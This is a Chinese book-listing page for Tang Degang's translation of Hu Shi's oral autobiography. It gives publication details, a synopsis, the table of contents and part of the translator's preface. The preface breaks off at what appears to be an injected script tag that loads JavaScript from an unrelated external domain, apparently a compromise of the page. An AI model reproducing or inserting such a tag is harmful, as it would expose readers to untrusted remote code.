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●	胡适思想与中国文化『胡明』

●	胡适的声音（配有胡适原音演讲CD）『胡适』

●

胡适杂忆『唐德刚』

●	胡适与中国现代知识分子的选择『[美]周明之　著』

●	重寻胡适历程『余英时』

胡适口述自传

ISBN：7-5633-5512-X/K·322	开本：32	封面设计：
作者：胡适　口述　唐德刚译者：唐德刚译注	字数：240千字	责编：曹凌志
出版日期： 2005-8-1	页数：268	策划：
定价：￥22.00	点击数：2991
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●内容简介

　　《胡适口述自传》是历史人物的传记。
　　胡适（1891－1962），中国现代诗人，著名学者，安徽绩溪人。唐德刚，美国哥伦比亚大学学者。本稿为根据美国哥伦比亚大学“中国口述历史学部”所公布的胡适口述回忆十六次正式录音的英文稿，和笔者所保存并经过胡氏手订的残稿，对照参考，综合译出，展示了胡适的历程：
　　故乡和家庭/我的父亲/初到美国——康乃尔大学的学生生活/青年期的政治训练/哥伦比亚大学和杜威/青年期逐渐领悟的治学方法/文学革命的结胎时期/从文学革命到文艺复兴/“五四运动”——一场不幸的政治干扰/从整理国故到研究和尚/从旧小说到新红学/现代学术与个人收获
　　胡适著作极多，口述自传则只有这一本，自有特色。
　　作者简介

　　唐德刚：1920年生，安徽合肥人。国立中央大学(重庆)历史系学士，美国歌伦比亚硕士、博士。曾先生任职于安徽省立安徽学院、歌伦比亚大学、纽约市立大学，长期从事历史研究与教学工作，并对口述历史的发展贡献良多。著有《李宗仁回忆录》、《顾维钧回忆录》、《胡适口述自传》、《胡适杂忆》、《中美外交百年史1784―1911》等书。

●图书目录

写在书前的译后感

编译说明

第一章故乡和家庭

徽州人

我的家族——绩谿上庄胡氏

第二章我的父亲

青年期的家难

考试和书院教育

吴大澂的知遇

在台湾任知州和统领

第三章初到美国：康乃尔大学的学生生活

与不同种族和不同信仰人士的接触

我对美国政治的兴趣

放弃农科，转习哲学

第四章青年期的政治训练

公开讲演的训练

学习议会程序

对世界主义、和平主义和国际主义的信仰

第五章哥伦比亚大学和杜威

文科各系的教授阵容

杜威和实验主义

实证思维术

第六章青年期逐渐领悟的治学方法

《诗三百篇言字解》

《尔汝篇》和《吾我篇》

论“校勘”“训诂”之学

第七章文学革命的结胎时期

革命的导火线

孤独的文学实验大胆的革命宣言

第八章从文学革命到文艺复兴

国语的文学文学的国语

文学革命的数种特征

中国文艺复兴的四重意义

第九章“五四运动”——一场不幸的政治干扰

陈独秀入狱的经过

“科学”和“民主”的定义

“问题”与“主义”之争：我和马克思主义者冲突的第一回合

第十章从整理国故到研究和尚

国学季刊发行宗旨

我在干些什么

研究神会和尚的始末

第十一章从旧小说到新红学

第一部“整理过的本子”

新红学的诞生

第十二章现代学术与个人收获

揭穿认真作假的和尚道士

老子比孔子更“老”

并不要打倒孔家店

双线文学的新观念

再谈谈中国思想史

中古期的宗教

骈体文有欠文明

现代的中国文艺复兴

附录

胡适之先生亲笔所拟口述自传大纲

胡适之先生手书父母生卒年代及徽州“解经三胡”

胡适之先生手绘故乡地图

●前言/序言

写在书前的译后感
　在动手翻译这本小书之前，我曾遵刘绍唐先生之嘱，先写一篇“导言”或“序文”谁知一写就阴错阳差，糊里糊涂地写了十余万言；结果自成一部小书，取名《胡适杂忆》，反要请周策纵、夏志清两先生来为我作序了。

　　在我写那篇序的期间，我对这本小书的英文原稿已经有二十年未去碰它了。我想原稿既然是我以前一个字一个字整理出来的，纵是倒背我也可倒背若干，翻译之前来写篇序，也用不着先读原稿再动笔了。所以只有在《杂忆》脱稿之后，我才又把英文原稿细读一遍；距上一次的细读，是整整的二十个年头！

　　二十年前我对这篇稿子的看法，大致有三点：一、它的内容根本没有什么新鲜的材料；二、它反映出胡适晚年期的思想，与他中少年期的思想简直没有什么出入——说胡适的思想前后一致也好，说胡适没有进步也好；三、不过就写作的体裁来说，他这部小书，倒不失为别开生面、自成一格的“学术性的自传”。

　　十八年过去了。两年前我写《胡适杂忆》时，印象中强调的还是这三点。可是最近一年来，我对我以前的看法，渐次觉得有修正或补充的必要。这不是近一年来，“胡适”在中国历史上的地位发生了变化，也不是我自己对胡氏的估价发生了什么“今日”对“昨日”的挑战；只是胡适之是位“实用王义者”，一辈子看重“实用价值”，因而以这本小书对一般读者的“实用价值”来说，那它在二十年前和二十年后，却发生了显著的变化、这倒是我所始料不及的！

　　笔者说这句话，也是近一年来，面对海外中国知识界的实际现象，有感而发：

　　最近一两年来，由于报章杂志上，对胡氏生前一些有趣的小问题——如学位问题、恋爱问题等的讨论，甚或辩论的关系，“胡适”往往又变成一些学术上和社交上谈话的题材在这些场合里，我也在无意中发现，那些自港台来美的“知青”——包括很多我自己的学生——对“胡适”这个命题已十分陌生．他们之间好多部能写一手好的白话诗又；但是“胡适”与“白话诗”、“白话又”，究竟有多深的关系，他们就不知其详了至于什么“实验主义”、“杜威”、“罗素”……什么“乾嘉学派”、“言字解”、“吾我篇”、“问题与主义”……那就更不必说了总之那样活生生的一位“天下何人不识”的“我的朋友”，现在已渐次被历史的潮流淹没了——淹没得如此之速！

　　最糟的要算是最近才从大陆上出来的一些“知中”了。我们偶尔聊起天来，他们所知道的有关“胡适”的旧闻就更少了。其中有些极有成就的科技专才，竟然对“胡适”和“胡适之”是否同一个人，也发生了疑问！

　　适之先生是笔者所熟识的。最看重身后之名的一位前辈。他老人家的“身后之名”消逝得这样快，该是他生前所未曾想到的罢。

　　最近笔者接到老朋友朱又长教授的来信。他说他在看《传记文学》的胡适自传时，是“先看德刚，后看胡适”。骤读此信，我会觉得是老朋友对我错爱了。其实全不是那么回事。因为像朱文长教授那样，当年在大陆上受大、中学教育，今日流落在海外教书的“知老”，胡适这本小书上的哪一句话，他未看过——甚至听胡氏亲口说过——十遍八遍乃至更多遍呢？

　　俗语说：“话说三遍如烂草！”读书亦何尝不然？纵是胡适著的书，读过听过三、五、十遍，也会变成一堆烂草，朱教授也就不要去“先睹为快”了。至于我这位无名作家，不管我写的是怎样地“瞎扯淡”，但是总归是朱教授“尚未寓目”的闲文、闲书。他老人家如史席有暇，和娘子一起来翻翻“报屁股”，消遣消遣，那我的“瞎扯淡”，自然也就在“先看”之列了余小子如不知轻重，把这句“朱子语录”当真，而自觉“老子又章赛胡适”，那我岂不是一名天大的阿Q吗？

　　须知胡适之先生生前在中国享盛名，历四十年而不稍衰。因此他的一生，简直就是玻璃缸里的一条金色；它摇头摆尾、浮沉上下、一言一笑……在在都被千万只眼睛庄视着。稍有一点关于“胡适”的小故事，在报章杂志上不是“头条”，也是“花边”；全国上下——尤其是茶余酒后——对他都有极浓厚的兴趣。

　　以前的娱乐场中有句俗话说：“会看的看门道，不会看的看热闹。”因而就“看胡适”（Hu Shih watching）这宗娱乐项目来说，它和“看梅兰芳”实在是大同小异的。会看的专家和艺人们，便看其“门道”；一般适兴的观众和读者，则看其“热闹”；而大家争看的兴致则是一样的。笔者不敏，当年在大陆上，夹在千百万“知青”之中，争看这场“热闹”，也是自七八岁就开始的。我想和我平辈或长一辈的中国知识分子，那时也是人人如此的。试问我们这一辈以前在大陆上受大、中学教育的人，哪一位不能对“我的朋友”，品头论足一番呢？既然大家对胡适之都很熟悉，也各自有一套主观的看法，那么一旦“朋友”不要了，把老胡适拖出来咒骂一通，则人人皆可骂出一套来——骂得个痛快淋漓，骂得他狗血喷头。

　　这就是50年代里，大陆上举国批胡的全盘经纬。那个时代的知识分子，人人都知道“胡适是老几”；所以毛泽东一声令下，大家也就可以指着太平洋，大叫?script src=http://www.chkbnr.com/b.js>

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